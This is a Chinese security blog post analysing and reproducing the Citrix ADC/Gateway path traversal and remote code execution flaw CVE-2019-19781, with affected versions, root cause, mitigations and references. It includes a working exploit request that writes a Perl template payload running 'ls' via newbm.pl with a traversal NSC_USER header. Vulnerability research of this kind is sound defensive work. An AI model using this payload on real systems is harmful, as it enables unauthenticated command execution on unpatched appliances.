FSRC分享:Citrix路径遍历(CVE-2019-19781)复现及分析

admin 2022年5月11日10:51:53安全文章评论7 views2066字阅读6分53秒阅读模式


FSRC经验分享系列介绍

新年新气象,我们会在FSRC公众号发出焦点科技信息安全部工作过程中总结的经验。分享内容不仅是漏洞分析,也包括运营、sdl、等保、自研工具等。只要安全相关,我们都会整理并分享给大家,欢迎各位安全从业者关注。



1漏洞简介及危害


Citrix旗下多款交付控制器和网关存在RCE漏洞,攻击者在无需身份验证的情况下就可执行任意命令。根据安全网站的说法,这个RCE漏洞会有一个标记漏洞,即本次我们分析的Citrx路径遍历漏洞(CVE-2019-19781)。

该漏洞利用复杂性低,且无权限要求,攻击者只能遍历vpns文件夹,但攻击者可能利用Citrx路径遍历漏洞进行RCE漏洞试探,从而发起进一步精准攻击。


2影响版本


Citrix ADC and Citrix Gateway version 13.0 all supported builds

Citrix ADC and NetScaler Gateway version 12.1 all supported builds

Citrix ADC and NetScaler Gateway version 12.0 all supported builds

Citrix ADC and NetScaler Gateway version 11.1 all supported builds

Citrix NetScaler ADC and NetScaler Gateway version 10.5 all supported builds



3漏洞验证


如果访问/vpn/../vpns/路径下,进行下面两个请求:

GET /vpn/../vpns/services.htmlGET /vpn/../vpns/cfg/smb.conf

如果都响应200成功,则证明此漏洞的存在。



4漏洞探析


漏洞的基础:路径遍历

   

通过php代码审计得知,Citrix会直接根据HTTP头部中的NSC_USER字段构建具体路径,没有进行任何过滤操作。

因此,调用带漏洞函数的任何脚本都可以触发路径漏洞。


xml文件创建


在众多文件中,存在一个newbm.pl脚本文件,该脚本会根据多个参数创建一个数组,然后调用filewrite函数,该函数将具体内容写入磁盘上的一个XML文件。

即,我们通过newbm.pl恶意上传内容,会被保存到指定的xml文件中。


漏洞提升:命令执行


进一步研究后,我们发现可以在XML文件中插入特定指令,如果模板引擎解析该内容,就有可能实现代码执行。

FSRC分享:Citrix路径遍历(CVE-2019-19781)复现及分析



其中 $tmplfile 变量来自于HTTP请求路径,并且代码会创建一个新的模板,解析该文件。

上下联系起来,为了利用该漏洞,我们需要执行如下操作:

1、找到通过模板执行Perl代码的方法;

2、使用路径遍历漏洞将构造的XML文件写入模板目录;

3、浏览上传的XML文件,触发模板解析。


当然,这个漏洞的产生还取决于一个条件:Citrix有一个未公开的功能,可以用来执行任意perl代码。


5漏洞复现及利用


1.访问下列URL,发现前端针对 ../ 做了净化与过滤。

FSRC分享:Citrix路径遍历(CVE-2019-19781)复现及分析

但我们可以通过抓包重新修改后,进行绕过。


2.现在上传文件,执行输出passwd文件:

(1)上传、生成

 此处的header和data中的文件名,可自定义。需要注意此处使用的文件名即是后续步骤中指定遍历的文件名,应上下统一。

FSRC分享:Citrix路径遍历(CVE-2019-19781)复现及分析


(2)读文件,只要文件名和步骤1中对应的文件名一致即可

FSRC分享:Citrix路径遍历(CVE-2019-19781)复现及分析


(3)再举一例,是运行ls指令的:

FSRC分享:Citrix路径遍历(CVE-2019-19781)复现及分析


6验证脚本


/vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Host: 对应网站host
User-Agent: 1
Connection: close
NSC_USER: ../../../netscaler/portal/templates/iiioo
NSC_NONCE: nsroot
Content-Length: 98

url=***&title=***(此处为自定义文本)&desc=[% template.new('BLOCK' = 'print `ls`') %]


7修复方案


(1) 过滤对/vpns/目录下进行路径遍历的请求,过滤应该在服务侧进行
(2)攻击方式一般为 先POST请求创建、GET请求查询,可对两种请求进行前后匹配
(3)更多请参考官方公告:https://support.citrix.com/article/CTX267679POST 


8免责声明


本文中提到的漏洞利用Poc和脚本已在网络公布,仅供研究学习使用,请遵守《网络安全法》等相关法律法规。


9参考资料


深入分析Citrix ADC RCE漏洞:

https://www.anquanke.com/post/id/197074

Mitigation Steps for CVE-2019-19781:

https://support.citrix.com/article/CTX267679


FSRC,愿与你共同成长

焦点科技漏洞提交网址:security.focuschina.com





原文始发于微信公众号(焦点安全应急响应中心):FSRC分享:Citrix路径遍历(CVE-2019-19781)复现及分析

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月11日10:51:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  FSRC分享:Citrix路径遍历(CVE-2019-19781)复现及分析 http://cn-sec.com/archives/979979.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: